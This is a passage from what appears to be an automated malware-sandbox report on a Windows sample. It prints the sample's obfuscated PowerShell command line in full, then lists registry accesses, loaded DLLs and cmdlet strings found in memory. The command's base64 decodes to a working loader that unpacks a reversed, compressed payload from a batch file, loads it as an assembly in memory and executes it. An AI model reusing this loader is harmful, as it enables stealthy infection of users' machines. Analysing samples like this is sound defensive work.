0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\HAPUBWS\QJHJap.ps1' -Encoding UTF8"", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_57="pbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_58="QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZ", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_59="SAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5n", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_1="geyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLk", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_53="yMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMj", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_0="ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSk", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_54="MzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9I", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_55="ENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1Q", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_56="YXRoICRlbnY6VXNlclByb2ZpbGUgIlFKSEphcC5iYXQiDQokbGFzdEx", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_5="JTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZX", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_4="SU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFt", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_50="0KDQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyM", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_3="SkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBb", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_51="jQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_2="NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0Y", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_52="LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCw", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_9="gJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZW", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_8="ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCw", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_7="FtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_6="NzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9I", QwYNbJDhGDEDgoaCKCMclSdHmgTnkGNbSnqPMYwNinrNulEQXw="eYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqp-eYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpceYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpoeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpmeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpmeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpaeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpneYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpd eYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqp"[SeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpyseYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqptem.TeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpext.EneYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpcodineYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpg]::UTeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpF8.GetSeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqptring([SysteYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpem.ConveYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpert]::FroeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpmBaseeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqp64StrieYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpng('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KIyAiVGhlIHN1cmVzdCB3YXkgdG8gY29ycnVwdCBhIHlvdXRoIGlzIHRvIGluc3RydWN0IGhpbSB0byBob2xkIGluIGhpZ2hlciBlc3RlZW0gdGhvc2Ugd2hvIHRoaW5rIGFsaWtlIHRoYW4gdGhvc2Ugd2hvIHRoaW5rIGRpZmZlcmVudGx5LiINCiMgIkluIGhlYXZlbiwgYWxsIHRoZSBpbnRlcmVzdGluZyBwZW9wbGUgYXJlIG1pc3NpbmcuIg0KIyAiSGUgd2hvIGhhcyBhIHdoeSB0byBsaXZlIGNhbiBiZWFyIGFsbW9zdCBhbnkgaG93LiINCiMgIlRvIGxpdmUgaXMgdG8gc3VmZmVyLCB0byBzdXJ2aXZlIGlzIHRvIGZpbmQgc29tZSBtZWFuaW5nIGluIHRoZSBzdWZmZXJpbmcuIg0KIyAiV2l0aG91dCBtdXNpYywgbGlmZSB3b3VsZCBiZSBhIG1pc3Rha2UuIg0KDQoNCmZ1bmN0aW9uIFJldmVyc2VTdHJpbmcoJGlucHV0U3RyaW5nKSB7DQogICAgJGNoYXJBcnJheSA9ICRpbnB1dFN0cmluZy5Ub0NoYXJBcnJheSgpDQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0NCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheQ0KICAgIHJldHVybiAkcmV2ZXJzZWRTdHJpbmcNCn0NCiMgIlRoZXJlIGlzIGFsd2F5cyBzb21lIG1hZG5lc3MgaW4gbG92ZS4gQnV0IHRoZXJlIGlzIGFsc28gYWx3YXlzIHNvbWUgcmVhc29uIGluIG1hZG5lc3MuIg0KIyAiVGhhdCB3aGljaCBkb2VzIG5vdCBraWxsIHVzIG1ha2VzIHVzIHN0cm9uZ2VyLiINCg0KZnVuY3Rpb24gQ2xvc2UtUHJvY2VzcyB7DQogICAgcGFyYW0oDQogICAgICAgIFtzdHJpbmddJFByb2Nlc3NOYW1lDQogICAgKQ0KDQogICAgJHByb2Nlc3MgPSBHZXQtUHJvY2VzcyAtTmFtZSAkUHJvY2Vzc05hbWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUNCg0KICAgIGlmICgkcHJvY2VzcyAtbmUgJG51bGwpIHsNCiAgICAgICAgU3RvcC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRm9yY2UNCgl9DQp9DQojICJJbiBpbmRpdmlkdWFscywgaW5zYW5pdHkgaXMgcmFyZTsgYnV0IGluIGdyb3VwcywgcGFydGllcywgbmF0aW9ucywgYW5kIGVwb2NocywgaXQgaXMgdGhlIHJ1bGUuIg0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KDQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlFKSEphcC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | OueYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpt-FileYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpe -FeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpilePeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpath 'C:\Users\HAPUBWS\QJHJap.ps1' -EnceYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpoding UeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpTF8"", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_17="hIHdoeSB0byBsaXZlIGNhbiBiZWFyIGFsbW9zdCBhbnkgaG93LiINCi", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_18="MgIlRvIGxpdmUgaXMgdG8gc3VmZmVyLCB0byBzdXJ2aXZlIGlzIHRvI", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_19="GZpbmQgc29tZSBtZWFuaW5nIGluIHRoZSBzdWZmZXJpbmcuIg0KIyAi", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_24="Li4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0NCiAgICAkcmV2ZXJzZWRTdHJ", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_25="pbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheQ0KICAgIHJldHVybiAkcm", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_26="V2ZXJzZWRTdHJpbmcNCn0NCiMgIlRoZXJlIGlzIGFsd2F5cyBzb21lI", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_27="G1hZG5lc3MgaW4gbG92ZS4gQnV0IHRoZXJlIGlzIGFsc28gYWx3YXlz", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_20="V2l0aG91dCBtdXNpYywgbGlmZSB3b3VsZCBiZSBhIG1pc3Rha2UuIg0", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_21="KDQoNCmZ1bmN0aW9uIFJldmVyc2VTdHJpbmcoJGlucHV0U3RyaW5nKS", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_22="B7DQogICAgJGNoYXJBcnJheSA9ICRpbnB1dFN0cmluZy5Ub0NoYXJBc", OWkTTXsqBUPpXZPDLTXkQMgYTXAqmaBcpNSRQZusxvxBYSqsXQ="eYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqp", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_23="nJheSgpDQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0x", OWkTTXsqBUPpXZPDLTXkQMgYTXAqmaBcpNSRQZusxvxBYSqsXQOWkTTXsqBUPpXZPDLTXkQMgYTXAqmaBcpNSRQZusxvxBYSqsXQ="eYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqp", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_28="IHNvbWUgcmVhc29uIGluIG1hZG5lc3MuIg0KIyAiVGhhdCB3aGljaCB", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_29="kb2VzIG5vdCBraWxsIHVzIG1ha2VzIHVzIHN0cm9uZ2VyLiINCg0KZn", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_35="C1OYW1lICRQcm9jZXNzTmFtZSAtRm9yY2UNCgl9DQp9DQojICJJbiBp", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_36="bmRpdmlkdWFscywgaW5zYW5pdHkgaXMgcmFyZTsgYnV0IGluIGdyb3V", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_37="wcywgcGFydGllcywgbmF0aW9ucywgYW5kIGVwb2NocywgaXQgaXMgdG", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_38="hlIHJ1bGUuIg0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZ", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_31="CAgIFtzdHJpbmddJFByb2Nlc3NOYW1lDQogICAgKQ0KDQogICAgJHBy", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_32="b2Nlc3MgPSBHZXQtUHJvY2VzcyAtTmFtZSAkUHJvY2Vzc05hbWUgLUV", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_33="ycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUNCg0KICAgIGlmICgkcH", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_34="JvY2VzcyAtbmUgJG51bGwpIHsNCiAgICAgICAgU3RvcC1Qcm9jZXNzI", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_30="VuY3Rpb24gQ2xvc2UtUHJvY2VzcyB7DQogICAgcGFyYW0oDQogICAgI", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_13="uc3RydWN0IGhpbSB0byBob2xkIGluIGhpZ2hlciBlc3RlZW0gdGhvc2", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_14="Ugd2hvIHRoaW5rIGFsaWtlIHRoYW4gdGhvc2Ugd2hvIHRoaW5rIGRpZ", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_15="mZlcmVudGx5LiINCiMgIkluIGhlYXZlbiwgYWxsIHRoZSBpbnRlcmVz", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_16="dGluZyBwZW9wbGUgYXJlIG1pc3NpbmcuIg0KIyAiSGUgd2hvIGhhcyB", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_10="FrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmb", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_11="GF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KIyAi", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_12="VGhlIHN1cmVzdCB3YXkgdG8gY29ycnVwdCBhIHlvdXRoIGlzIHRvIGl""3a:T634,"1544dbca0efc2c0105dd7d52a21a8891.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN")3b:Tc89,Observed system executable string:"%WINDIR%\system32\UXTHEME.dll" [Source: 00000000-00003308-00000C25-1763089349] Observed system executable string:"%WINDIR%\system32\USERENV.dll" [Source: 00000000-00003308-00000C25-1763118058] Observed system executable string:"%WINDIR%\system32\SETUPAPI.dll" [Source: 00000000-00003308-00000C25-1763144345] Observed system executable string:"%WINDIR%\system32\APPHELP.dll" [Source: 00000000-00003308-00000C25-1763275489] Observed system executable string:"%WINDIR%\system32\PROPSYS.dll" [Source: 00000000-00003308-00000C25-1763299856] Observed system executable string:"%WINDIR%\system32\DWMAPI.dll" [Source: 00000000-00003308-00000C25-1763325888] Observed system executable string:"%WINDIR%\system32\CRYPTBASE.dll" [Source: 00000000-00003308-00000C25-1763350725] Observed system executable string:"%WINDIR%\system32\OLEACC.dll" [Source: 00000000-00003308-00000C25-1763380897] Observed system executable string:"%WINDIR%\system32\CLBCATQ.dll" [Source: 00000000-00003308-00000C25-1763408511] Observed system executable string:"%WINDIR%\system32\NTMARTA.dll" [Source: 00000000-00003308-00000C25-1763474134] Observed system executable string:"%WINDIR%\system32\VERSION.dll" [Source: 00000000-00003308-00000C25-1763502177] Observed system executable string:"%WINDIR%\system32\SHFOLDER.dll" [Source: 00000000-00003308-00000C25-1763534548] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00003468-00000C25-1764478770] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00003468-00000C25-1764618742] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00003468-00000C25-1765104211] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00005716-00000C28-882542820] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00005716-00000C25-1768272788] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00005716-00000C25-1768442064] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00005716-00000C25-1768530749] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00005716-00000C25-1768680164] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00005716-00000C25-1768703820] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00005716-00000C25-1768770431] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00005716-00000C25-1768835812] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00005716-00000C25-1769026951] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00005716-00000C25-1769050197]3c:T820,Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "function New-TemporaryFile" (Indicator: "New-TemporaryFile"; Source: "00000000-00005716.00000000.176793.073E5000.00000004.mdmp") Found string "function New-Guid" (Indicator: "New-Guid"; Source: "00000000-00005716.00000000.176793.073E5000.00000004.mdmp")3d:T6d1,"1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "OPEN"; Path: 